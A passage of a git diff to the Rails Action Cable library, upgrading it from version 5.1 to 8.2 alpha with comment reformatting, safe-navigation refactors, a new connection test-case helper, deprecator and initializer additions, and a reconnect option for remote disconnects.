+    #         identified_by :user
+    #
+    #         around_command :set_current_account
+    #
+    #         private
+    #
+    #         def set_current_account
+    #           # Now all channels could use Current.account
+    #           Current.set(account: user.account) { yield }
+    #         end
+    #       end
+    #     end
+    #
+    module Callbacks
+      extend  ActiveSupport::Concern
+      include ActiveSupport::Callbacks
+
+      included do
+        define_callbacks :command
+      end
+
+      module ClassMethods
+        def before_command(*methods, &block)
+          set_callback(:command, :before, *methods, &block)
+        end
+
+        def after_command(*methods, &block)
+          set_callback(:command, :after, *methods, &block)
+        end
+
+        def around_command(*methods, &block)
+          set_callback(:command, :around, *methods, &block)
+        end
+      end
+    end
+  end
+end
diff --git a/actioncable/lib/action_cable/connection/client_socket.rb b/actioncable/lib/action_cable/connection/client_socket.rb
index c7e30e78c8999..9d8be5e92fe06 100644
--- a/actioncable/lib/action_cable/connection/client_socket.rb
+++ b/actioncable/lib/action_cable/connection/client_socket.rb
@@ -1,3 +1,7 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "websocket/driver"
 
 module ActionCable
@@ -19,7 +23,7 @@ def self.secure_request?(env)
         return true if env["HTTP_X_FORWARDED_PROTO"] == "https"
         return true if env["rack.url_scheme"] == "https"
 
-        return false
+        false
       end
 
       CONNECTING = 0
@@ -41,7 +45,7 @@ def initialize(env, event_target, event_loop, protocols)
 
         @ready_state = CONNECTING
 
-        # The driver calls +env+, +url+, and +write+
+        # The driver calls `env`, `url`, and `write`
         @driver = ::WebSocket::Driver.rack(self, protocols: protocols)
 
         @driver.on(:open)    { |e| open }
@@ -81,7 +85,7 @@ def transmit(message)
         when Numeric then @driver.text(message.to_s)
         when String  then @driver.text(message)
         when Array   then @driver.binary(message)
-          else false
+        else false
         end
       end
 
diff --git a/actioncable/lib/action_cable/connection/identification.rb b/actioncable/lib/action_cable/connection/identification.rb
index c91a1d1fd782e..663fba60ac24e 100644
--- a/actioncable/lib/action_cable/connection/identification.rb
+++ b/actioncable/lib/action_cable/connection/identification.rb
@@ -1,4 +1,6 @@
-require "set"
+# frozen_string_literal: true
+
+# :markup: markdown
 
 module ActionCable
   module Connection
@@ -6,26 +8,27 @@ module Identification
       extend ActiveSupport::Concern
 
       included do
-        class_attribute :identifiers
-        self.identifiers = Set.new
+        class_attribute :identifiers, default: Set.new
       end
 
-      class_methods do
-        # Mark a key as being a connection identifier index that can then be used to find the specific connection again later.
-        # Common identifiers are current_user and current_account, but could be anything, really.
+      module ClassMethods
+        # Mark a key as being a connection identifier index that can then be used to
+        # find the specific connection again later. Common identifiers are current_user
+        # and current_account, but could be anything, really.
         #
-        # Note that anything marked as an identifier will automatically create a delegate by the same name on any
-        # channel instances created off the connection.
+        # Note that anything marked as an identifier will automatically create a
+        # delegate by the same name on any channel instances created off the connection.
         def identified_by(*identifiers)
           Array(identifiers).each { |identifier| attr_accessor identifier }
           self.identifiers += identifiers
         end
       end
 
-      # Return a single connection identifier that combines the value of all the registered identifiers into a single gid.
+      # Return a single connection identifier that combines the value of all the
+      # registered identifiers into a single gid.
       def connection_identifier
         unless defined? @connection_identifier
-          @connection_identifier = connection_gid identifiers.map { |id| instance_variable_get("@#{id}") }.compact
+          @connection_identifier = connection_gid identifiers.filter_map { |id| instance_variable_get("@#{id}") }
         end
 
         @connection_identifier
diff --git a/actioncable/lib/action_cable/connection/internal_channel.rb b/actioncable/lib/action_cable/connection/internal_channel.rb
index 8f0ec766c34a7..23933e8660bea 100644
--- a/actioncable/lib/action_cable/connection/internal_channel.rb
+++ b/actioncable/lib/action_cable/connection/internal_channel.rb
@@ -1,6 +1,13 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionCable
   module Connection
-    # Makes it possible for the RemoteConnection to disconnect a specific connection.
+    # # Action Cable InternalChannel
+    #
+    # Makes it possible for the RemoteConnection to disconnect a specific
+    # connection.
     module InternalChannel
       extend ActiveSupport::Concern
 
@@ -30,7 +37,7 @@ def process_internal_message(message)
           case message["type"]
           when "disconnect"
             logger.info "Removing connection (#{connection_identifier})"
-            websocket.close
+            close(reason: ActionCable::INTERNAL[:disconnect_reasons][:remote], reconnect: message.fetch("reconnect", true))
           end
         rescue Exception => e
           logger.error "There was an exception - #{e.class}(#{e.message})"
diff --git a/actioncable/lib/action_cable/connection/message_buffer.rb b/actioncable/lib/action_cable/connection/message_buffer.rb
index 4ccd322644ed0..35813930244a4 100644
--- a/actioncable/lib/action_cable/connection/message_buffer.rb
+++ b/actioncable/lib/action_cable/connection/message_buffer.rb
@@ -1,6 +1,11 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionCable
   module Connection
-    # Allows us to buffer messages received from the WebSocket before the Connection has been fully initialized, and is ready to receive them.
+    # Allows us to buffer messages received from the WebSocket before the Connection
+    # has been fully initialized, and is ready to receive them.
     class MessageBuffer # :nodoc:
       def initialize(connection)
         @connection = connection
@@ -28,13 +33,10 @@ def process!
         receive_buffered_messages
       end
 
-      # TODO Change this to private once we've dropped Ruby 2.2 support.
-      # Workaround for Ruby 2.2 "private attribute?" warning.
-      protected
+      private
         attr_reader :connection
         attr_reader :buffered_messages
 
-      private
         def valid?(message)
           message.is_a?(String)
         end
diff --git a/actioncable/lib/action_cable/connection/stream.rb b/actioncable/lib/action_cable/connection/stream.rb
index e620b9384559d..01c2d114ec199 100644
--- a/actioncable/lib/action_cable/connection/stream.rb
+++ b/actioncable/lib/action_cable/connection/stream.rb
@@ -1,4 +1,6 @@
-require "thread"
+# frozen_string_literal: true
+
+# :markup: markdown
 
 module ActionCable
   module Connection
@@ -96,8 +98,10 @@ def receive(data)
       def hijack_rack_socket
         return unless @socket_object.env["rack.hijack"]
 
-        @socket_object.env["rack.hijack"].call
-        @rack_hijack_io = @socket_object.env["rack.hijack_io"]
+        # This should return the underlying io according to the SPEC:
+        @rack_hijack_io = @socket_object.env["rack.hijack"].call
+        # Retain existing behavior if required:
+        @rack_hijack_io ||= @socket_object.env["rack.hijack_io"]
 
         @event_loop.attach(@rack_hijack_io, self)
       end
diff --git a/actioncable/lib/action_cable/connection/stream_event_loop.rb b/actioncable/lib/action_cable/connection/stream_event_loop.rb
index 2d1af0ff9f02e..38e9823b7e06b 100644
--- a/actioncable/lib/action_cable/connection/stream_event_loop.rb
+++ b/actioncable/lib/action_cable/connection/stream_event_loop.rb
@@ -1,5 +1,8 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "nio"
-require "thread"
 
 module ActionCable
   module Connection
@@ -65,6 +68,7 @@ def spawn
             @nio ||= NIO::Selector.new
 
             @executor ||= Concurrent::ThreadPoolExecutor.new(
+              name: "ActionCable-streamer",
               min_threads: 1,
               max_threads: 10,
               max_queue: 0,
@@ -115,9 +119,8 @@ def run
                   stream.receive incoming
                 end
               rescue
-                # We expect one of EOFError or Errno::ECONNRESET in
-                # normal operation (when the client goes away). But if
-                # anything else goes wrong, this is still the best way
+                # We expect one of EOFError or Errno::ECONNRESET in normal operation (when the
+                # client goes away). But if anything else goes wrong, this is still the best way
                 # to handle it.
                 begin
                   stream.close
diff --git a/actioncable/lib/action_cable/connection/subscriptions.rb b/actioncable/lib/action_cable/connection/subscriptions.rb
index 44bce1e195d5f..a9b1bca7cbc7a 100644
--- a/actioncable/lib/action_cable/connection/subscriptions.rb
+++ b/actioncable/lib/action_cable/connection/subscriptions.rb
@@ -1,9 +1,16 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "active_support/core_ext/hash/indifferent_access"
 
 module ActionCable
   module Connection
-    # Collection class for all the channel subscriptions established on a given connection. Responsible for routing incoming commands that arrive on
-    # the connection to the proper channel.
+    # # Action Cable Connection Subscriptions
+    #
+    # Collection class for all the channel subscriptions established on a given
+    # connection. Responsible for routing incoming commands that arrive on the
+    # connection to the proper channel.
     class Subscriptions # :nodoc:
       def initialize(connection)
         @connection = connection
@@ -19,6 +26,7 @@ def execute_command(data)
           logger.error "Received unrecognized command in #{data.inspect}"
         end
       rescue Exception => e
+        @connection.rescue_with_handler(e)
         logger.error "Could not execute command from (#{data.inspect}) [#{e.class} - #{e.message}]: #{e.backtrace.first(5).join(" | ")}"
       end
 
@@ -30,7 +38,7 @@ def add(data)
 
         subscription_klass = id_options[:channel].safe_constantize
 
-        if subscription_klass && ActionCable::Channel::Base >= subscription_klass
+        if subscription_klass && ActionCable::Channel::Base > subscription_klass
           subscription = subscription_klass.new(connection, id_key, id_options)
           subscriptions[id_key] = subscription
           subscription.subscribe_to_channel
@@ -41,7 +49,7 @@ def add(data)
 
       def remove(data)
         logger.info "Unsubscribing from channel: #{data['identifier']}"
-        remove_subscription subscriptions[data["identifier"]]
+        remove_subscription find(data)
       end
 
       def remove_subscription(subscription)
@@ -61,12 +69,8 @@ def unsubscribe_from_all
         subscriptions.each { |id, channel| remove_subscription(channel) }
       end
 
-      # TODO Change this to private once we've dropped Ruby 2.2 support.
-      # Workaround for Ruby 2.2 "private attribute?" warning.
-      protected
-        attr_reader :connection, :subscriptions
-
       private
+        attr_reader :connection, :subscriptions
         delegate :logger, to: :connection
 
         def find(data)
diff --git a/actioncable/lib/action_cable/connection/tagged_logger_proxy.rb b/actioncable/lib/action_cable/connection/tagged_logger_proxy.rb
index aef549aa86ce4..b7d97afb09eee 100644
--- a/actioncable/lib/action_cable/connection/tagged_logger_proxy.rb
+++ b/actioncable/lib/action_cable/connection/tagged_logger_proxy.rb
@@ -1,8 +1,15 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionCable
   module Connection
-    # Allows the use of per-connection tags against the server logger. This wouldn't work using the traditional
-    # <tt>ActiveSupport::TaggedLogging</tt> enhanced Rails.logger, as that logger will reset the tags between requests.
-    # The connection is long-lived, so it needs its own set of tags for its independent duration.
+    # # Action Cable Connection TaggedLoggerProxy
+    #
+    # Allows the use of per-connection tags against the server logger. This wouldn't
+    # work using the traditional ActiveSupport::TaggedLogging enhanced Rails.logger,
+    # as that logger will reset the tags between requests. The connection is
+    # long-lived, so it needs its own set of tags for its independent duration.
     class TaggedLoggerProxy
       attr_reader :tags
 
@@ -16,24 +23,24 @@ def add_tags(*tags)
         @tags = @tags.uniq
       end
 
-      def tag(logger)
+      def tag(logger, &block)
         if logger.respond_to?(:tagged)
           current_tags = tags - logger.formatter.current_tags
-          logger.tagged(*current_tags) { yield }
+          logger.tagged(*current_tags, &block)
         else
           yield
         end
       end
 
       %i( debug info warn error fatal unknown ).each do |severity|
-        define_method(severity) do |message|
-          log severity, message
+        define_method(severity) do |message = nil, &block|
+          log severity, message, &block
         end
       end
 
       private
-        def log(type, message) # :doc:
-          tag(@logger) { @logger.send type, message }
+        def log(type, message, &block) # :doc:
+          tag(@logger) { @logger.send type, message, &block }
         end
     end
   end
diff --git a/actioncable/lib/action_cable/connection/test_case.rb b/actioncable/lib/action_cable/connection/test_case.rb
new file mode 100644
index 0000000000000..5eeb0775fd7b3
--- /dev/null
+++ b/actioncable/lib/action_cable/connection/test_case.rb
@@ -0,0 +1,243 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+require "active_support"
+require "active_support/test_case"
+require "active_support/core_ext/hash/indifferent_access"
+require "action_dispatch"
+require "action_dispatch/http/headers"
+require "action_dispatch/testing/test_request"
+
+module ActionCable
+  module Connection
+    class NonInferrableConnectionError < ::StandardError
+      def initialize(name)
+        super "Unable to determine the connection to test from #{name}. " +
+          "You'll need to specify it using `tests YourConnection` in your " +
+          "test case definition."
+      end
+    end
+
+    module Assertions
+      # Asserts that the connection is rejected (via
+      # `reject_unauthorized_connection`).
+      #
+      #     # Asserts that connection without user_id fails
+      #     assert_reject_connection { connect params: { user_id: '' } }
+      def assert_reject_connection(&block)
+        assert_raises(Authorization::UnauthorizedError, "Expected to reject connection but no rejection was made", &block)
+      end
+    end
+
+    class TestCookies < ActiveSupport::HashWithIndifferentAccess # :nodoc:
+      def []=(name, options)
+        value = options.is_a?(Hash) ? options.symbolize_keys[:value] : options
+        super(name, value)
+      end
+    end
+
+    # We don't want to use the whole "encryption stack" for connection unit-tests,
+    # but we want to make sure that users test against the correct types of cookies
+    # (i.e. signed or encrypted or plain)
+    class TestCookieJar < TestCookies
+      def signed
+        @signed ||= TestCookies.new
+      end
+
+      def encrypted
+        @encrypted ||= TestCookies.new
+      end
+    end
+
+    class TestRequest < ActionDispatch::TestRequest
+      attr_accessor :session, :cookie_jar
+    end
+
+    module TestConnection
+      attr_reader :logger, :request
+
+      def initialize(request)
+        inner_logger = ActiveSupport::Logger.new(StringIO.new)
+        tagged_logging = ActiveSupport::TaggedLogging.new(inner_logger)
+        @logger = ActionCable::Connection::TaggedLoggerProxy.new(tagged_logging, tags: [])
+        @request = request
+        @env = request.env
+      end
+    end
+
+    # # Action Cable Connection TestCase
+    #
+    # Unit test Action Cable connections.
+    #
+    # Useful to check whether a connection's `identified_by` gets assigned properly
+    # and that any improper connection requests are rejected.
+    #
+    # ## Basic example
+    #
+    # Unit tests are written by first simulating a connection attempt by calling
+    # `connect` and then asserting state, e.g. identifiers, have been assigned.
+    #
+    #     class ApplicationCable::ConnectionTest < ActionCable::Connection::TestCase
+    #       def test_connects_with_proper_cookie
+    #         # Simulate the connection request with a cookie.
+    #         cookies["user_id"] = users(:john).id
+    #
+    #         connect
+    #
+    #         # Assert the connection identifier matches the fixture.
+    #         assert_equal users(:john).id, connection.user.id
+    #       end
+    #
+    #       def test_rejects_connection_without_proper_cookie
+    #         assert_reject_connection { connect }
+    #       end
+    #     end
+    #
+    # `connect` accepts additional information about the HTTP request with the
+    # `params`, `headers`, `session`, and Rack `env` options.
+    #
+    #     def test_connect_with_headers_and_query_string
+    #       connect params: { user_id: 1 }, headers: { "X-API-TOKEN" => "secret-my" }
+    #
+    #       assert_equal "1", connection.user.id
+    #       assert_equal "secret-my", connection.token
+    #     end
+    #
+    #     def test_connect_with_params
+    #       connect params: { user_id: 1 }
+    #
+    #       assert_equal "1", connection.user.id
+    #     end
+    #
+    # You can also set up the correct cookies before the connection request:
+    #
+    #     def test_connect_with_cookies
+    #       # Plain cookies:
+    #       cookies["user_id"] = 1
+    #
+    #       # Or signed/encrypted:
+    #       # cookies.signed["user_id"] = 1
+    #       # cookies.encrypted["user_id"] = 1
+    #
+    #       connect
+    #
+    #       assert_equal "1", connection.user_id
+    #     end
+    #
+    # ## Connection is automatically inferred
+    #
+    # ActionCable::Connection::TestCase will automatically infer the connection
+    # under test from the test class name. If the channel cannot be inferred from
+    # the test class name, you can explicitly set it with `tests`.
+    #
+    #     class ConnectionTest < ActionCable::Connection::TestCase
+    #       tests ApplicationCable::Connection
+    #     end
+    #
+    class TestCase < ActiveSupport::TestCase
+      module Behavior
+        extend ActiveSupport::Concern
+
+        DEFAULT_PATH = "/cable"
+
+        include ActiveSupport::Testing::ConstantLookup
+        include Assertions
+
+        included do
+          class_attribute :_connection_class
+
+          attr_reader :connection
+
+          ActiveSupport.run_load_hooks(:action_cable_connection_test_case, self)
+        end
+
+        module ClassMethods
+          def tests(connection)
+            case connection
+            when String, Symbol
+              self._connection_class = connection.to_s.camelize.constantize
+            when Module
+              self._connection_class = connection
+            else
+              raise NonInferrableConnectionError.new(connection)
+            end
+          end
+
+          def connection_class
+            if connection = self._connection_class
+              connection
+            else
+              tests determine_default_connection(name)
+            end
+          end
+
+          def determine_default_connection(name)
+            connection = determine_constant_from_test_name(name) do |constant|
+              Class === constant && constant < ActionCable::Connection::Base
+            end
+            raise NonInferrableConnectionError.new(name) if connection.nil?
+            connection
+          end
+        end
+
+        # Performs connection attempt to exert #connect on the connection under test.
+        #
+        # Accepts request path as the first argument and the following request options:
+        #
+        # *   params – URL parameters (Hash)
+        # *   headers – request headers (Hash)
+        # *   session – session data (Hash)
+        # *   env – additional Rack env configuration (Hash)
+        def connect(path = ActionCable.server.config.mount_path, **request_params)
+          path ||= DEFAULT_PATH
+
+          connection = self.class.connection_class.allocate
+          connection.singleton_class.include(TestConnection)
+          connection.send(:initialize, build_test_request(path, **request_params))
+          connection.connect if connection.respond_to?(:connect)
+
+          # Only set instance variable if connected successfully
+          @connection = connection
+        end
+
+        # Exert #disconnect on the connection under test.
+        def disconnect
+          raise "Must be connected!" if connection.nil?
+
+          connection.disconnect if connection.respond_to?(:disconnect)
+          @connection = nil
+        end
+
+        def cookies
+          @cookie_jar ||= TestCookieJar.new
+        end
+
+        private
+          def build_test_request(path, params: nil, headers: {}, session: {}, env: {})
+            wrapped_headers = ActionDispatch::Http::Headers.from_hash(headers)
+
+            uri = URI.parse(path)
+
+            query_string = params.nil? ? uri.query : params.to_query
+
+            request_env = {
+              "QUERY_STRING" => query_string,
+              "PATH_INFO" => uri.path
+            }.merge(env)
+
+            if wrapped_headers.present?
+              ActionDispatch::Http::Headers.from_hash(request_env).merge!(wrapped_headers)
+            end
+
+            TestRequest.create(request_env).tap do |request|
+              request.session = session.with_indifferent_access
+              request.cookie_jar = cookies
+            end
+          end
+      end
+
+      include Behavior
+    end
+  end
+end
diff --git a/actioncable/lib/action_cable/connection/web_socket.rb b/actioncable/lib/action_cable/connection/web_socket.rb
index 03eb6e2ea8e44..662f5fbb159f6 100644
--- a/actioncable/lib/action_cable/connection/web_socket.rb
+++ b/actioncable/lib/action_cable/connection/web_socket.rb
@@ -1,9 +1,15 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "websocket/driver"
 
 module ActionCable
   module Connection
+    # # Action Cable Connection WebSocket
+    #
     # Wrap the real socket to minimize the externally-presented API
-    class WebSocket
+    class WebSocket # :nodoc:
       def initialize(env, event_target, event_loop, protocols: ActionCable::INTERNAL[:protocols])
         @websocket = ::WebSocket::Driver.websocket?(env) ? ClientSocket.new(env, event_target, event_loop, protocols) : nil
       end
@@ -13,28 +19,26 @@ def possible?
       end
 
       def alive?
-        websocket && websocket.alive?
+        websocket&.alive?
       end
 
-      def transmit(data)
-        websocket.transmit data
+      def transmit(...)
+        websocket&.transmit(...)
       end
 
-      def close
-        websocket.close
+      def close(...)
+        websocket&.close(...)
       end
 
       def protocol
-        websocket.protocol
+        websocket&.protocol
       end
 
       def rack_response
-        websocket.rack_response
+        websocket&.rack_response
       end
 
-      # TODO Change this to private once we've dropped Ruby 2.2 support.
-      # Workaround for Ruby 2.2 "private attribute?" warning.
-      protected
+      private
         attr_reader :websocket
     end
   end
diff --git a/actioncable/lib/action_cable/deprecator.rb b/actioncable/lib/action_cable/deprecator.rb
new file mode 100644
index 0000000000000..b2e74e8ee8e83
--- /dev/null
+++ b/actioncable/lib/action_cable/deprecator.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionCable
+  def self.deprecator # :nodoc:
+    @deprecator ||= ActiveSupport::Deprecation.new
+  end
+end
diff --git a/actioncable/lib/action_cable/engine.rb b/actioncable/lib/action_cable/engine.rb
index 63a26636a0c6c..d8a92d28b650f 100644
--- a/actioncable/lib/action_cable/engine.rb
+++ b/actioncable/lib/action_cable/engine.rb
@@ -1,14 +1,20 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "rails"
 require "action_cable"
-require "action_cable/helpers/action_cable_helper"
 require "active_support/core_ext/hash/indifferent_access"
 
 module ActionCable
   class Engine < Rails::Engine # :nodoc:
     config.action_cable = ActiveSupport::OrderedOptions.new
     config.action_cable.mount_path = ActionCable::INTERNAL[:default_mount_path]
+    config.action_cable.precompile_assets = true
 
-    config.eager_load_namespaces << ActionCable
+    initializer "action_cable.deprecator", before: :load_environment_config do |app|
+      app.deprecators[:action_cable] = ActionCable.deprecator
+    end
 
     initializer "action_cable.helpers" do
       ActiveSupport.on_load(:action_view) do
@@ -20,6 +26,20 @@ class Engine < Rails::Engine # :nodoc:
       ActiveSupport.on_load(:action_cable) { self.logger ||= ::Rails.logger }
     end
 
+    initializer "action_cable.health_check_application" do
+      ActiveSupport.on_load(:action_cable) {
+        self.health_check_application = ->(env) { Rails::HealthController.action(:show).call(env) }
+      }
+    end
+
+    initializer "action_cable.asset" do
+      config.after_initialize do |app|
+        if app.config.respond_to?(:assets) && app.config.action_cable.precompile_assets
+          app.config.assets.precompile += %w( actioncable.js actioncable.esm.js )
+        end
+      end
+    end
+
     initializer "action_cable.set_configs" do |app|
       options = app.config.action_cable
       options.allowed_request_origins ||= /https?:\/\/localhost:\d+/ if ::Rails.env.development?
@@ -28,11 +48,12 @@ class Engine < Rails::Engine # :nodoc:
 
       ActiveSupport.on_load(:action_cable) do
         if (config_path = Pathname.new(app.config.paths["config/cable"].first)).exist?
-          self.cable = Rails.application.config_for(config_path).with_indifferent_access
+          self.cable = app.config_for(config_path).to_h.with_indifferent_access
         end
 
         previous_connection_class = connection_class
         self.connection_class = -> { "ApplicationCable::Connection".safe_constantize || previous_connection_class.call }
+        self.filter_parameters += app.config.filter_parameters
 
         options.each { |k, v| send("#{k}=", v) }
       end
@@ -43,7 +64,7 @@ class Engine < Rails::Engine # :nodoc:
         config = app.config
         unless config.action_cable.mount_path.nil?
           app.routes.prepend do
-            mount ActionCable.server => config.action_cable.mount_path, internal: true
+            mount ActionCable.server => config.action_cable.mount_path, internal: true, anchor: true
           end
         end
       end
@@ -52,10 +73,10 @@ class Engine < Rails::Engine # :nodoc:
     initializer "action_cable.set_work_hooks" do |app|
       ActiveSupport.on_load(:action_cable) do
         ActionCable::Server::Worker.set_callback :work, :around, prepend: true do |_, inner|
-          app.executor.wrap do
-            # If we took a while to get the lock, we may have been halted
-            # in the meantime. As we haven't started doing any real work
-            # yet, we should pretend that we never made it off the queue.
+          app.executor.wrap(source: "application.action_cable") do
+            # If we took a while to get the lock, we may have been halted in the meantime.
+            # As we haven't started doing any real work yet, we should pretend that we never
+            # made it off the queue.
             unless stopping?
               inner.call
             end
@@ -63,7 +84,7 @@ class Engine < Rails::Engine # :nodoc:
         end
 
         wrap = lambda do |_, inner|
-          app.executor.wrap(&inner)
+          app.executor.wrap(source: "application.action_cable", &inner)
         end
         ActionCable::Channel::Base.set_callback :subscribe, :around, prepend: true, &wrap
         ActionCable::Channel::Base.set_callback :unsubscribe, :around, prepend: true, &wrap
diff --git a/actioncable/lib/action_cable/gem_version.rb b/actioncable/lib/action_cable/gem_version.rb
index 8ba0230d478be..0ad4fd88bbeaf 100644
--- a/actioncable/lib/action_cable/gem_version.rb
+++ b/actioncable/lib/action_cable/gem_version.rb
@@ -1,12 +1,16 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionCable
-  # Returns the version of the currently loaded Action Cable as a <tt>Gem::Version</tt>.
+  # Returns the currently loaded version of Action Cable as a `Gem::Version`.
   def self.gem_version
     Gem::Version.new VERSION::STRING
   end
 
   module VERSION
-    MAJOR = 5
-    MINOR = 1
+    MAJOR = 8
+    MINOR = 2
     TINY  = 0
     PRE   = "alpha"
 
diff --git a/actioncable/lib/action_cable/helpers/action_cable_helper.rb b/actioncable/lib/action_cable/helpers/action_cable_helper.rb
index f53be0bc31e4d..93d21a983cef8 100644
--- a/actioncable/lib/action_cable/helpers/action_cable_helper.rb
+++ b/actioncable/lib/action_cable/helpers/action_cable_helper.rb
@@ -1,32 +1,37 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionCable
   module Helpers
     module ActionCableHelper
-      # Returns an "action-cable-url" meta tag with the value of the URL specified in your
-      # configuration. Ensure this is above your JavaScript tag:
+      # Returns an "action-cable-url" meta tag with the value of the URL specified in
+      # your configuration. Ensure this is above your JavaScript tag:
       #
-      #   <head>
-      #     <%= action_cable_meta_tag %>
-      #     <%= javascript_include_tag 'application', 'data-turbolinks-track' => 'reload' %>
-      #   </head>
+      #     <head>
+      #       <%= action_cable_meta_tag %>
+      #       <%= javascript_include_tag 'application', 'data-turbo-track' => 'reload' %>
+      #     </head>
       #
-      # This is then used by Action Cable to determine the URL of your WebSocket server.
-      # Your CoffeeScript can then connect to the server without needing to specify the
-      # URL directly:
+      # This is then used by Action Cable to determine the URL of your WebSocket
+      # server. Your JavaScript can then connect to the server without needing to
+      # specify the URL directly:
       #
-      #   #= require cable
-      #   @App = {}
-      #   App.cable = Cable.createConsumer()
+      #     import Cable from "@rails/actioncable"
+      #     window.Cable = Cable
+      #     window.App = {}
+      #     App.cable = Cable.createConsumer()
       #
       # Make sure to specify the correct server location in each of your environment
       # config files:
       #
-      #   config.action_cable.mount_path = "/cable123"
-      #   <%= action_cable_meta_tag %> would render:
-      #   => <meta name="action-cable-url" content="/cable123" />
+      #     config.action_cable.mount_path = "/cable123"
+      #     <%= action_cable_meta_tag %> would render:
+      #     => <meta name="action-cable-url" content="/cable123" />
       #
-      #   config.action_cable.url = "ws://actioncable.com"
-      #   <%= action_cable_meta_tag %> would render:
-      #   => <meta name="action-cable-url" content="ws://actioncable.com" />
+      #     config.action_cable.url = "ws://actioncable.com"
+      #     <%= action_cable_meta_tag %> would render:
+      #     => <meta name="action-cable-url" content="ws://actioncable.com" />
       #
       def action_cable_meta_tag
         tag "meta", name: "action-cable-url", content: (
diff --git a/actioncable/lib/action_cable/remote_connections.rb b/actioncable/lib/action_cable/remote_connections.rb
index d2856bc6ae483..e167a1c5521c8 100644
--- a/actioncable/lib/action_cable/remote_connections.rb
+++ b/actioncable/lib/action_cable/remote_connections.rb
@@ -1,20 +1,33 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+require "active_support/core_ext/module/redefine_method"
+
 module ActionCable
+  # # Action Cable Remote Connections
+  #
   # If you need to disconnect a given connection, you can go through the
   # RemoteConnections. You can find the connections you're looking for by
   # searching for the identifier declared on the connection. For example:
   #
-  #   module ApplicationCable
-  #     class Connection < ActionCable::Connection::Base
-  #       identified_by :current_user
-  #       ....
+  #     module ApplicationCable
+  #       class Connection < ActionCable::Connection::Base
+  #         identified_by :current_user
+  #         ....
+  #       end
   #     end
-  #   end
   #
-  #   ActionCable.server.remote_connections.where(current_user: User.find(1)).disconnect
+  #     ActionCable.server.remote_connections.where(current_user: User.find(1)).disconnect
   #
-  # This will disconnect all the connections established for
-  # <tt>User.find(1)</tt>, across all servers running on all machines, because
-  # it uses the internal channel that all of these servers are subscribed to.
+  # This will disconnect all the connections established for `User.find(1)`,
+  # across all servers running on all machines, because it uses the internal
+  # channel that all of these servers are subscribed to.
+  #
+  # By default, server sends a "disconnect" message with "reconnect" flag set to
+  # true. You can override it by specifying the `reconnect` option:
+  #
+  #     ActionCable.server.remote_connections.where(current_user: User.find(1)).disconnect(reconnect: false)
   class RemoteConnections
     attr_reader :server
 
@@ -26,41 +39,44 @@ def where(identifier)
       RemoteConnection.new(server, identifier)
     end
 
-    private
-      # Represents a single remote connection found via <tt>ActionCable.server.remote_connections.where(*)</tt>.
-      # Exists solely for the purpose of calling #disconnect on that connection.
-      class RemoteConnection
-        class InvalidIdentifiersError < StandardError; end
+    # # Action Cable Remote Connection
+    #
+    # Represents a single remote connection found via
+    # `ActionCable.server.remote_connections.where(*)`. Exists solely for the
+    # purpose of calling #disconnect on that connection.
+    class RemoteConnection
+      class InvalidIdentifiersError < StandardError; end
 
-        include Connection::Identification, Connection::InternalChannel
+      include Connection::Identification, Connection::InternalChannel
 
-        def initialize(server, ids)
-          @server = server
-          set_identifier_instance_vars(ids)
-        end
+      def initialize(server, ids)
+        @server = server
+        set_identifier_instance_vars(ids)
+      end
 
-        # Uses the internal channel to disconnect the connection.
-        def disconnect
-          server.broadcast internal_channel, type: "disconnect"
-        end
+      # Uses the internal channel to disconnect the connection.
+      def disconnect(reconnect: true)
+        server.broadcast internal_channel, { type: "disconnect", reconnect: reconnect }
+      end
 
-        # Returns all the identifiers that were applied to this connection.
-        def identifiers
-          server.connection_identifiers
-        end
+      # Returns all the identifiers that were applied to this connection.
+      redefine_method :identifiers do
+        server.connection_identifiers
+      end
 
-        private
-          attr_reader :server
+      protected
+        attr_reader :server
 
-          def set_identifier_instance_vars(ids)
-            raise InvalidIdentifiersError unless valid_identifiers?(ids)
-            ids.each { |k, v| instance_variable_set("@#{k}", v) }
-          end
+      private
+        def set_identifier_instance_vars(ids)
+          raise InvalidIdentifiersError unless valid_identifiers?(ids)
+          ids.each { |k, v| instance_variable_set("@#{k}", v) }
+        end
 
-          def valid_identifiers?(ids)
-            keys = ids.keys
-            identifiers.all? { |id| keys.include?(id) }
-          end
-      end
+        def valid_identifiers?(ids)
+          keys = ids.keys
+          identifiers.all? { |id| keys.include?(id) }
+        end
+    end
   end
 end
diff --git a/actioncable/lib/action_cable/server.rb b/actioncable/lib/action_cable/server.rb
deleted file mode 100644
index 22f93538254ed..0000000000000
--- a/actioncable/lib/action_cable/server.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-module ActionCable
-  module Server
-    extend ActiveSupport::Autoload
-
-    eager_autoload do
-      autoload :Base
-      autoload :Broadcasting
-      autoload :Connections
-      autoload :Configuration
-
-      autoload :Worker
-      autoload :ActiveRecordConnectionManagement, "action_cable/server/worker/active_record_connection_management"
-    end
-  end
-end
diff --git a/actioncable/lib/action_cable/server/base.rb b/actioncable/lib/action_cable/server/base.rb
index 419eccd73c8ba..cd150700e2329 100644
--- a/actioncable/lib/action_cable/server/base.rb
+++ b/actioncable/lib/action_cable/server/base.rb
@@ -1,40 +1,56 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "monitor"
 
 module ActionCable
   module Server
-    # A singleton ActionCable::Server instance is available via ActionCable.server. It's used by the Rack process that starts the Action Cable server, but
-    # is also used by the user to reach the RemoteConnections object, which is used for finding and disconnecting connections across all servers.
+    # # Action Cable Server Base
+    #
+    # A singleton ActionCable::Server instance is available via ActionCable.server.
+    # It's used by the Rack process that starts the Action Cable server, but is also
+    # used by the user to reach the RemoteConnections object, which is used for
+    # finding and disconnecting connections across all servers.
     #
-    # Also, this is the server instance used for broadcasting. See Broadcasting for more information.
